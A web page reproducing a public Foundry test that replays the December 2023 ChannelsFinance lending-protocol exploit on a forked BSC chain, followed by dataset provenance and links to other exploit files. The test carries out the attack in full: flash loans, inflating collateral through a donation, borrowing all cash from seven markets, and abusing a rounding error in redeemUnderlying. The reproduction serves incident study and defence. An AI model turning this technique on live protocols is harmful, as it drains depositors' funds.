Public reproduction file
src/test/2023-12/ChannelsFinance_exp.sol
Public reproduction file for dataset entry ChannelsFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~320K8// Attacker : https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc646819// Attack Contract : https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e10// Vulnerable Contract : https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c11// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x711cc4ceb9701d317fe9aa47187425e16dae7d5a0113f1430e891018262f8fb512// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x93372ce9c86a25f1477b0c3068e745b5b829d5b58025bb1ab234230d3473b77614// @Analysis15// https://twitter.com/AnciliaInc/status/174135330354250145517interface IcCLP_BTCB_BUSD is ICErc20Delegate {18 function gulp() external;19}21contract ContractTest is Test {22 ICErc20Delegate private constant cWBNB = ICErc20Delegate(payable(0x860DF3e99f6223D695aB51b2FB9eaa92Fa903E8D));23 ICErc20Delegate private constant cBUSD = ICErc20Delegate(payable(0xca797539f004C0F9c206678338f820AC38466D4b));24 ICErc20Delegate private constant cUSDT = ICErc20Delegate(payable(0xBa5B37100538Cde248AAA4c92FB330fCf91F557C));25 ICErc20Delegate private constant cUSDC = ICErc20Delegate(payable(0x33e68c922d19D74ce845546a5c12A66ea31385c4));26 ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x7D247295a6938587C581f5Bb8CBD98A72388E530));27 ICErc20Delegate private constant cETH = ICErc20Delegate(payable(0x11797D61fD4BfF9728113601782D4444503093d7));28 ICErc20Delegate private constant cBTC = ICErc20Delegate(payable(0x7140A671Da66C0BD411E3fc3B15C51C36dBB5cA3));29 ICErc20Delegate private constant cFIL = ICErc20Delegate(payable(0xf77ef89255Fb387C6ebA1557c615A8B31A518aa2));30 IcCLP_BTCB_BUSD private constant cCLP_BTCB_BUSD =31 IcCLP_BTCB_BUSD(payable(0x93790C641D029D1cBd779D87b88f67704B6A8F4C));32 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);33 IERC20 private constant PancakeSwapToken = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);34 IERC20 private constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);35 IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);36 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);37 IERC20 private constant ETHToken = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);38 IERC20 private constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);39 IERC20 private constant DAI = IERC20(0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3);40 ICointroller private constant Comptroller = ICointroller(0xFC518333F4bC56185BDd971a911fcE03dEe4fC8c);41 Uni_Pair_V3 private constant BUSDT_BTCB = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);42 Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);43 Uni_Pair_V2 private constant BTCB_BUSD = Uni_Pair_V2(0xF45cd219aEF8618A92BAa7aD848364a158a24F33);44 address private constant attackContract = 0x07e536F23a197F6FB76F42aD01ac2Bcdc3BF738E;46 function setUp() public {47 vm.createSelectFork("bsc", 34_806_205);48 vm.label(address(cWBNB), "cWBNB");49 vm.label(address(cFIL), "cFIL");50 vm.label(address(cCLP_BTCB_BUSD), "cCLP_BTCB_BUSD");51 vm.label(address(WBNB), "WBNB");52 vm.label(address(BTCB), "BTCB");53 vm.label(address(BUSD), "BUSD");54 vm.label(address(PancakeSwapToken), "PancakeSwapToken");55 vm.label(address(Comptroller), "Comptroller");56 vm.label(address(BUSDT_BTCB), "BUSDT_BTCB");57 vm.label(address(BUSDT_BUSD), "BUSDT_BUSD");58 vm.label(address(BTCB_BUSD), "BTCB_BUSD");59 }61 function testExploit() public {62 // Starting balances. Exploiter transferred amounts of tokens to attack contract before first attack tx63 // Transfer txs:64 // PancakeSwap Token: https://app.blocksec.com/explorer/tx/bsc/0x0237855c63eb85c5f437fba5267cc869a08c58a49501e3e5ebec9990bdd9756565 deal(address(PancakeSwapToken), address(this), 2e18);66 deal(address(BUSDT), address(this), 0);68 // At the end of the first tx attacker manipulated total supply value in vulnerable contract69 // This step was needed for increase borrowing power of attacker70 // I don't recreate the mentioned process because I have encountered specific underflow error when trying to liquidate borrowers positions71 // in the first attack tx73 emit log_named_decimal_uint(74 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()75 );77 emit log_named_decimal_uint(78 "Exploiter BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()79 );81 emit log_named_decimal_uint(82 "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()83 );85 emit log_named_decimal_uint(86 "Exploiter BTCB balance before attack", BTCB.balanceOf(address(this)), BTCB.decimals()87 );89 emit log_named_decimal_uint(90 "Exploiter ETHToken balance before attack", ETHToken.balanceOf(address(this)), ETHToken.decimals()91 );93 emit log_named_decimal_uint(94 "Exploiter USDC balance before attack", USDC.balanceOf(address(this)), USDC.decimals()95 );97 emit log_named_decimal_uint("Exploiter DAI balance before attack", DAI.balanceOf(address(this)), DAI.decimals());99 emit log_string("-----------------------------------------------------");101 emit log_named_uint(102 "Total supply value in vulnerable contract after first attack tx", cCLP_BTCB_BUSD.totalSupply()103 );105 emit log_named_uint(106 "Exploiter cCLP_BTCB_BUSD balance after first attack tx", cCLP_BTCB_BUSD.balanceOf(attackContract)107 );109 // Transfer 2 tokens cCLP_BTCB_BUSD from attack contract to this contract.110 // I do this because of complications with first tx explained above111 // This step is needed to withdraw underlying BTCB_BUSD tokens later112 vm.prank(attackContract);113 cCLP_BTCB_BUSD.approve(address(this), type(uint256).max);114 cCLP_BTCB_BUSD.transferFrom(attackContract, address(this), cCLP_BTCB_BUSD.balanceOf(attackContract));116 BUSDT_BTCB.flash(address(this), 0, 11_900e15, "");118 emit log_named_decimal_uint(119 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()120 );122 emit log_named_decimal_uint(123 "Exploiter BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()124 );126 emit log_named_decimal_uint(127 "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()128 );130 emit log_named_decimal_uint(131 "Exploiter BTCB balance after attack", BTCB.balanceOf(address(this)), BTCB.decimals()132 );134 emit log_named_decimal_uint(135 "Exploiter ETHToken balance after attack", ETHToken.balanceOf(address(this)), ETHToken.decimals()136 );138 emit log_named_decimal_uint(139 "Exploiter USDC balance after attack", USDC.balanceOf(address(this)), USDC.decimals()140 );142 emit log_named_decimal_uint("Exploiter DAI balance after attack", DAI.balanceOf(address(this)), DAI.decimals());143 }145 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {146 if (msg.sender == address(BUSDT_BTCB)) {147 BUSDT_BUSD.flash(address(this), 0, 500_000e18, "");148 BTCB.transfer(address(BUSDT_BTCB), 11_900e15 + fee1);149 } else if (msg.sender == address(BUSDT_BUSD)) {150 // Transfer token amounts to pair and next mint liquidity151 (uint112 reserveBTCB, uint112 reserveBUSD,) = BTCB_BUSD.getReserves();152 BTCB.transfer(address(BTCB_BUSD), (reserveBTCB * 115) / 100);153 BUSD.transfer(address(BTCB_BUSD), (reserveBUSD * 115) / 100);154 BTCB_BUSD.mint(address(this));155 // Transfer PancakeSwapToken to vulnerable contract156 PancakeSwapToken.transfer(address(cCLP_BTCB_BUSD), PancakeSwapToken.balanceOf(address(this)));158 emit log_named_uint(159 "Exploiter underlying BTCB_BUSD tokens balance before transfer to vulnerable contract",160 BTCB_BUSD.balanceOf(address(this))161 );163 // Transfer BTCB_BUSD to vulnerable contract164 BTCB_BUSD.transfer(address(cCLP_BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));166 emit log_named_uint(167 "Exploiter underlying BTCB_BUSD tokens balance after transfer to vulnerable contract",168 BTCB_BUSD.balanceOf(address(this))169 );171 cCLP_BTCB_BUSD.accrueInterest();173 // Enter to ChannelsFinance markets174 address[] memory cTokens = Comptroller.getAllMarkets();175 Comptroller.enterMarkets(cTokens);177 // At this moment exploiter can borrow more tokens than he should178 ICErc20Delegate[] memory tokensToSteal = new ICErc20Delegate[](7);179 tokensToSteal[0] = cWBNB;180 tokensToSteal[1] = cBUSD;181 tokensToSteal[2] = cUSDT;182 tokensToSteal[3] = cUSDC;183 tokensToSteal[4] = cDAI;184 tokensToSteal[5] = cETH;185 tokensToSteal[6] = cBTC;187 for (uint256 i; i < tokensToSteal.length; ++i) {188 uint256 amountToSteal = tokensToSteal[i].getCash();189 tokensToSteal[i].borrow(amountToSteal);190 }192 // redeemUnderlying function has rounding error.193 // Thanks to this attacker has used only one cCLP_BTCB_BUSD token to withdraw underlying tokens194 uint256 reserves = cCLP_BTCB_BUSD.totalReserves();195 uint256 redeemAmount = cCLP_BTCB_BUSD.getCash();196 cCLP_BTCB_BUSD.redeemUnderlying(redeemAmount - reserves - 1e9);197 emit log_named_uint(198 "Exploiter cCLP_BTCB_BUSD balance after call to redeemUnderlying()",199 cCLP_BTCB_BUSD.balanceOf(address(this))200 );201 emit log_named_uint(202 "Exploiter underlying BTCB_BUSD tokens balance after withdraw from vulnerable contract",203 BTCB_BUSD.balanceOf(address(this))204 );205 emit log_string("-----------------------------------------------------");206 BTCB_BUSD.transfer(address(BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));207 BTCB_BUSD.burn(address(this));208 BUSD.transfer(address(BUSDT_BUSD), 500_000e18 + fee1);209 }210 }211}Analysis
Dataset entry
Public Foundry test for “ChannelsFinance” (2023-12-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PHIL_exp.solSame month in the dataset · 53 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x20395d8e8a11cfd2541b942afdb810b7dcc64681
- Attack Contract
0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e
- Vulnerable Contract
0x93790c641d029d1cbd779d87b88f67704b6a8f4c
- Explorer: https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc64681
- Explorer: https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e
- Explorer: https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c
- Reference: https://twitter.com/AnciliaInc/status/1741353303542501455
File record
- Name
- ChannelsFinance
- Path
- src/test/2023-12/ChannelsFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e90dd82cdc998ab1bd8c32ebdfdc49dd20b724a3
- Language
- Solidity
- Size
- 212 lines
- Date
- 2023-12-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/ChannelsFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e90dd82cdc998ab1bd8c32ebdfdc49dd20b724a3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.